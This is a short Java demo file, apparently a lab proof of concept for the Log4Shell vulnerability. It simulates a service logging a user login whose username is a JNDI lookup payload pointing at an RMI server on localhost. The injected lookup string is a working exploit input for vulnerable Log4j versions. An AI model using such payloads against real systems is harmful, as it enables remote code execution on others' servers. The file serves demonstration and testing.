package top.todu.log4j.attack.demo;

import java.util.concurrent.TimeUnit;
import org.apache.logging.log4j.Logger;
import org.slf4j.LoggerFactory;

// 模拟线上服务
// @Slf4j
public class Application {

  public static void main(String[] args) throws InterruptedException {
    Logger logger = org.apache.logging.log4j.LogManager.getLogger("log4j");
    String username = "${jndi:rmi://127.0.0.1:1099/call}";
    logger.info("用户登录，username: {}", username);
    logger.info("测试日志输出");
    System.out.println(LoggerFactory.getILoggerFactory().getClass().getName());
    TimeUnit.SECONDS.sleep(5);
  }
}
